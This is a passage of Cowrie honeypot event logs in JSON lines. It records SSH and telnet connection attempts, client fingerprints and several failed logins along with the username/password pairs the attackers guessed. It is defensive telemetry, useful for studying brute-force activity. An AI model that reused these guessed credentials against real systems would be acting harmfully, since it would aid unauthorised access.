{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:34.613719Z","src_ip":"185.158.22.150","session":"84a65215c598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":52524,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b90c2e82c9b","protocol":"telnet","message":"New connection: 104.140.145.149:52524 (159.203.135.109:23) [session: 2b90c2e82c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:37.830477Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":39940,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9870fe9d0b5","protocol":"telnet","message":"New connection: 92.204.138.187:39940 (10.17.0.5:23) [session: e9870fe9d0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:40.151379Z"}
{"eventid":"cowrie.session.closed","duration":31.34277033805847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:49.811878Z","src_ip":"135.148.33.91","session":"d8c2d77bd6f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":48172,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff41670231c3","protocol":"telnet","message":"New connection: 135.148.33.91:48172 (159.203.135.109:23) [session: ff41670231c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:51.202666Z"}
{"eventid":"cowrie.session.closed","duration":35.150031089782715,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:52.902001Z","src_ip":"135.148.33.91","session":"d39208eaf8cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":32820,"dst_ip":"10.17.0.5","dst_port":22,"session":"e99a019e5998","protocol":"ssh","message":"New connection: 161.248.189.72:32820 (10.17.0.5:22) [session: e99a019e5998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:53.982923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:53.988003Z","src_ip":"161.248.189.72","session":"e99a019e5998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:54.218027Z","src_ip":"161.248.189.72","session":"e99a019e5998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wk123456","message":"login attempt [root/Wk123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:55.172385Z","src_ip":"161.248.189.72","session":"e99a019e5998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51278,"dst_ip":"159.203.135.109","dst_port":23,"session":"52ba2a59f6b6","protocol":"telnet","message":"New connection: 135.148.33.91:51278 (159.203.135.109:23) [session: 52ba2a59f6b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:55.952415Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:19:56.406043Z","src_ip":"161.248.189.72","session":"e99a019e5998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":52164,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a2b6445e691","protocol":"telnet","message":"New connection: 135.148.33.91:52164 (159.203.135.109:23) [session: 8a2b6445e691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:04.520786Z"}
{"eventid":"cowrie.session.closed","duration":30.782867431640625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:08.613225Z","src_ip":"104.140.145.149","session":"2b90c2e82c9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.249754190444946,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:08.981866Z","src_ip":"135.148.33.91","session":"fed740d5f152","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58860,"dst_ip":"159.203.135.109","dst_port":23,"session":"7183c26dc9ec","protocol":"telnet","message":"New connection: 135.148.33.91:58860 (159.203.135.109:23) [session: 7183c26dc9ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:09.280620Z"}
{"eventid":"cowrie.session.closed","duration":30.902185201644897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:11.053319Z","src_ip":"92.204.138.187","session":"e9870fe9d0b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":20215,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0b0307f9ead","protocol":"ssh","message":"New connection: 185.158.22.150:20215 (159.203.135.109:22) [session: c0b0307f9ead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:20.113461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:20.118815Z","src_ip":"185.158.22.150","session":"c0b0307f9ead","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:20.281497Z","src_ip":"185.158.22.150","session":"c0b0307f9ead","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"oracleoracle","message":"login attempt [ubuntu/oracleoracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:20.957737Z","src_ip":"185.158.22.150","session":"c0b0307f9ead","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:22.120974Z","src_ip":"185.158.22.150","session":"c0b0307f9ead","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":56078,"dst_ip":"159.203.135.109","dst_port":23,"session":"7682dd8be13a","protocol":"telnet","message":"New connection: 104.140.145.149:56078 (159.203.135.109:23) [session: 7682dd8be13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:24.588206Z"}
{"eventid":"cowrie.session.closed","duration":34.22118139266968,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:30.173467Z","src_ip":"135.148.33.91","session":"52ba2a59f6b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.93679404258728,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:31.139373Z","src_ip":"135.148.33.91","session":"ff41670231c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46024,"dst_ip":"159.203.135.109","dst_port":23,"session":"98d8f17281d1","protocol":"telnet","message":"New connection: 135.148.33.91:46024 (159.203.135.109:23) [session: 98d8f17281d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:35.469250Z"}
{"eventid":"cowrie.session.closed","duration":37.020910024642944,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:41.541548Z","src_ip":"135.148.33.91","session":"8a2b6445e691","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.659372091293335,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:44.939848Z","src_ip":"135.148.33.91","session":"7183c26dc9ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57808,"dst_ip":"159.203.135.109","dst_port":23,"session":"285c2d2831a4","protocol":"telnet","message":"New connection: 135.148.33.91:57808 (159.203.135.109:23) [session: 285c2d2831a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:55.156526Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":59774,"dst_ip":"159.203.135.109","dst_port":23,"session":"98ab3024f9f5","protocol":"telnet","message":"New connection: 104.140.145.149:59774 (159.203.135.109:23) [session: 98ab3024f9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:55.269755Z"}
{"eventid":"cowrie.session.closed","duration":0.007302999496459961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:55.276928Z","src_ip":"104.140.145.149","session":"98ab3024f9f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":32892,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d6618bcdd53","protocol":"ssh","message":"New connection: 161.248.189.72:32892 (10.17.0.5:22) [session: 2d6618bcdd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:57.058581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:57.063710Z","src_ip":"161.248.189.72","session":"2d6618bcdd53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:57.294833Z","src_ip":"161.248.189.72","session":"2d6618bcdd53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123456789","message":"login attempt [test1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:58.249085Z","src_ip":"161.248.189.72","session":"2d6618bcdd53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:20:59.481970Z","src_ip":"161.248.189.72","session":"2d6618bcdd53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":33408,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cdbf16ca33d","protocol":"telnet","message":"New connection: 135.148.33.91:33408 (159.203.135.109:23) [session: 3cdbf16ca33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:01.308510Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":34598,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a4854190749","protocol":"telnet","message":"New connection: 135.148.33.91:34598 (159.203.135.109:23) [session: 2a4854190749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:03.333020Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":60881,"dst_ip":"159.203.135.109","dst_port":22,"session":"d59d59cec2ed","protocol":"ssh","message":"New connection: 185.158.22.150:60881 (159.203.135.109:22) [session: d59d59cec2ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:07.613875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:07.618852Z","src_ip":"185.158.22.150","session":"d59d59cec2ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:07.780429Z","src_ip":"185.158.22.150","session":"d59d59cec2ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwertyu","message":"login attempt [ubuntu/qwertyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:08.957845Z","src_ip":"185.158.22.150","session":"d59d59cec2ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:11.170399Z","src_ip":"185.158.22.150","session":"d59d59cec2ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.56833863258362,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:12.037471Z","src_ip":"135.148.33.91","session":"98d8f17281d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":42062,"dst_ip":"159.203.135.109","dst_port":23,"session":"f354c816bf2c","protocol":"telnet","message":"New connection: 135.148.33.91:42062 (159.203.135.109:23) [session: f354c816bf2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:15.513668Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":33764,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2889f2e1efc","protocol":"telnet","message":"New connection: 104.140.145.149:33764 (159.203.135.109:23) [session: e2889f2e1efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:16.518649Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":46500,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac615862e7da","protocol":"telnet","message":"New connection: 135.148.33.91:46500 (159.203.135.109:23) [session: ac615862e7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:22.873425Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":43750,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0305975f52b","protocol":"ssh","message":"New connection: 141.11.21.145:43750 (10.17.0.5:22) [session: c0305975f52b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:26.619787Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:26.698693Z","src_ip":"141.11.21.145","session":"c0305975f52b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":43764,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3136d926b6b","protocol":"ssh","message":"New connection: 141.11.21.145:43764 (10.17.0.5:22) [session: e3136d926b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:26.773712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:26.779011Z","src_ip":"141.11.21.145","session":"e3136d926b6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:26.856226Z","src_ip":"141.11.21.145","session":"e3136d926b6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lys","password":"lys","message":"login attempt [lys/lys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:27.086876Z","src_ip":"141.11.21.145","session":"e3136d926b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:28.166636Z","src_ip":"141.11.21.145","session":"e3136d926b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.64317798614502,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:30.799638Z","src_ip":"135.148.33.91","session":"285c2d2831a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.09532427787781,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:36.403703Z","src_ip":"135.148.33.91","session":"3cdbf16ca33d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.11383366584778,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:36.446712Z","src_ip":"135.148.33.91","session":"2a4854190749","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":59736,"dst_ip":"159.203.135.109","dst_port":23,"session":"755ca68e698b","protocol":"telnet","message":"New connection: 135.148.33.91:59736 (159.203.135.109:23) [session: 755ca68e698b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:21:44.314143Z"}
